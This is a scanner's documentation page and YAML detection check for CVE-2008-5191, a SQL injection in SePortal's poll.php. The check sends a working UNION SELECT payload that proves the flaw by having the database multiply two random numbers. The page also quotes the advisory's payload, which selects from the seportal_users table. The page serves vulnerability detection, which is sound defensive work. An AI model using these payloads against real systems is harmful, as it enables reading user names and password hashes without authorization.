SePortal — 1 vulnerability check

noctis ships 1 vulnerability check for SePortal, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

SePortal poll.php poll_id SQL Injection

CVECVE-2008-5191
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/seportal/CVE-2008-5191.yaml

SePortal (a PHP/MySQL portal and weblog system) up to version 2.4 pastes the poll_id parameter of poll.php into a quoted SQL query without escaping it, without authentication, and prints the returned poll row, allowing SQL injection (an attacker can read the whole database, including the user names and password hashes).

This check requests index.php under the web root and the usual install paths. Where it answers, it sends a poll_id value that appends a UNION SELECT of an expression multiplying two random numbers. The vulnerability is confirmed when the page shows the product computed by the database, which never appears in the request. No stored data is read and nothing is written. When the injection cannot be exercised, the check reports the SePortal version shown in the page footer (2.4 or earlier) instead, with a lower confidence.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/index.php
  3. HTTP(S) request GET {{dir}}/poll.php?poll_id={{sc.q_union}}
  4. Parses / computes the next value with a Rhai script
  5. Parses / computes the next value with a Rhai script
  6. Checks hit_dir for ^/ → finding QoD 75: SePortal poll.php poll_id SQL Injection (CVE-2008-5191)
  7. Checks ver_hit for ^/ → finding QoD 70: SePortal poll.php poll_id SQL Injection (CVE-2008-5191) — version check

References:

Feed source — tests/vulnerabilities/seportal/CVE-2008-5191.yaml
# SePortal — poll.php poll_id SQL injection — CVE-2008-5191
#
# SePortal 2.4 (and earlier) pastes the poll_id parameter of poll.php into a quoted SQL
# string without escaping, with no authentication (staticpages.php sp_id has the same
# flaw). The published request (Bugtraq / EDB-7008 style advisory) is
#     poll.php?poll_id=1' union select 1,<value>,1,1,1,1,1,1,1,1 from seportal_users ...
# i.e. a 10-column query whose second column is printed on the page. The vulnerable
# versions show "SePortal</a> 2.x" in the page footer, which index.php carries.
#
# Detection, per candidate install dir whose index.php answers 200:
#   1. (QoD 75) poll.php?poll_id=-1' UNION SELECT 1,C,1,1,1,1,1,1,1,1 -- - with
#      C = CONCAT(0x4e4f43544953,a*b,0x454e44) and random six-digit a, b. The vulnerable
#      page prints NOCTIS<a*b>END; the product is computed by the database and never
#      appears in the request. Read-only: no table is selected from, nothing is written,
#      and the payload contains no quote (so it survives a stripping filter).
#   2. (QoD 70) when the injection is not confirmed (no poll page, hardened code) but the
#      page footer reports SePortal <= 2.4, the version is reported instead.
#
# Better than the source NASL:
#   - the reference check is a version comparison only; this feed proves the injection
#     with a database-computed value first and falls back to the version only when the
#     proof is unavailable (the fallback is tagged with the lower QoD);
#   - the web root and the usual install directories are probed, not only /seportal.
#
# Source: OpenVAS/Greenbone NVT 2008/gb_seportal_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.800143, GPL-2.0-only).
uid: 38000a1d-ef93-480c-9173-ebb8b6833981
name: "SePortal poll.php poll_id SQL Injection (CVE-2008-5191)"
description: |
  SePortal (a PHP/MySQL portal and weblog system) up to version 2.4 pastes the poll_id
  parameter of poll.php into a quoted SQL query without escaping it, without
  authentication, and prints the returned poll row, allowing SQL injection (an attacker
  can read the whole database, including the user names and password hashes).

  This check requests index.php under the web root and the usual install paths. Where it
  answers, it sends a poll_id value that appends a UNION SELECT of an expression
  multiplying two random numbers. The vulnerability is confirmed when the page shows the
  product computed by the database, which never appears in the request. No stored data
  is read and nothing is written. When the injection cannot be exercised, the check
  reports the SePortal version shown in the page footer (2.4 or earlier) instead, with a
  lower confidence.
cves: [CVE-2008-5191]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [seportal, sqli, union-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2008-5191"
  - "http://www.seportal.org/"
  # OpenVAS/Greenbone NASL 2008/gb_seportal_sql_inj_vuln.nasl (GPL-2.0-only)

steps:
  # ── Random operands, expected value and the encoded poll_id payload ───────
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      let c = "CONCAT(0x4e4f43544953," + a + "*" + b + ",0x454e44)";
      #{ want: "NOCTIS" + (a * b) + "END",
         expr: a + "*" + b,
         q_union: "-1'%20UNION%20SELECT%201," + c + ",1,1,1,1,1,1,1,1%20--%20-" }
    store_as: sc

  - id: init-hit
    action: set_var
    var_name: hit_dir
    var_value: ""

  - id: init-ver
    action: set_var
    var_name: ver_hit
    var_value: ""

  # ── Per candidate install path (loop group) ───────────────────────────────
  - id: init-landing
    action: set_var
    var_name: landing
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/seportal", "/SePortal", "/portal"]

  - id: init-union-resp
    action: set_var
    var_name: union_resp
    var_value: {status: 0, body: ""}

  - id: fetch-landing
    action: http_request
    method: GET
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit_dir == "" && ver_hit == ""'
    store_as: landing

  - id: union-probe
    action: http_request
    method: GET
    path: "{{dir}}/poll.php?poll_id={{sc.q_union}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit_dir == "" && ver_hit == "" && landing.status == 200'
    store_as: union_resp

  - id: check-union
    action: script
    condition: 'hit_dir == "" && ver_hit == "" && landing.status == 200'
    code: |
      let body = if type_of(union_resp.body) == "string" { union_resp.body } else { "" };
      if body.contains(sc.want) { if dir == "" { "/" } else { dir } } else { "" }
    store_as: hit_dir

  # Injection not proven: SePortal <= 2.4 in the footer of the landing page
  - id: check-version
    action: script
    condition: 'hit_dir == "" && ver_hit == "" && landing.status == 200'
    code: |
      let body = if type_of(landing.body) == "string" { landing.body } else { "" };
      let m = eregmatch("SePortal<.+ ([0-9]\\.[0-9.]+)", body);
      if type_of(m) == "array" && m.len() > 1
         && ereg("^([01]\\.[0-9.]+|2\\.([0-3](\\.[0-9.]+)?|4))$", m[1]) {
        (if dir == "" { "/" } else { dir }) + " (version " + m[1] + ")"
      } else { "" }
    store_as: ver_hit

  # ── Findings (inside the loop group: stop ends the scan at the first hit) ──
  - id: report
    action: match
    source: hit_dir
    pattern: "^/"
    on_match:
      finding:
        title: "SePortal poll.php poll_id SQL Injection (CVE-2008-5191)"
        description: "An unauthenticated poll.php request whose poll_id value appends a UNION SELECT multiplying two random numbers returned the product computed by the database: an attacker can read the whole database, including the user names and password hashes."
        remediation: "Upgrade SePortal to a release later than 2.4, or remove the application or restrict access to it (for example with HTTP authentication on its directory)."
        confidence_delta: 0.47
        qod: 75
        evidence: "install dir {{hit_dir}}: poll.php?poll_id=-1' UNION SELECT 1,CONCAT(0x4e4f43544953,{{sc.expr}},0x454e44),… printed the database-computed value {{sc.want}}"
      stop: true

  - id: report-version
    action: match
    source: ver_hit
    pattern: "^/"
    on_match:
      finding:
        title: "SePortal poll.php poll_id SQL Injection (CVE-2008-5191) — version check"
        description: "The page footer reports SePortal 2.4 or earlier, which is affected by an SQL injection in the poll_id parameter of poll.php. The injection itself could not be exercised on this install."
        remediation: "Upgrade SePortal to a release later than 2.4, or remove the application or restrict access to it (for example with HTTP authentication on its directory)."
        confidence_delta: 0.40
        qod: 70
        evidence: "install dir {{ver_hit}}: the index.php footer reports this SePortal version (2.4 or earlier)"
      stop: true

View these feeds on GitHub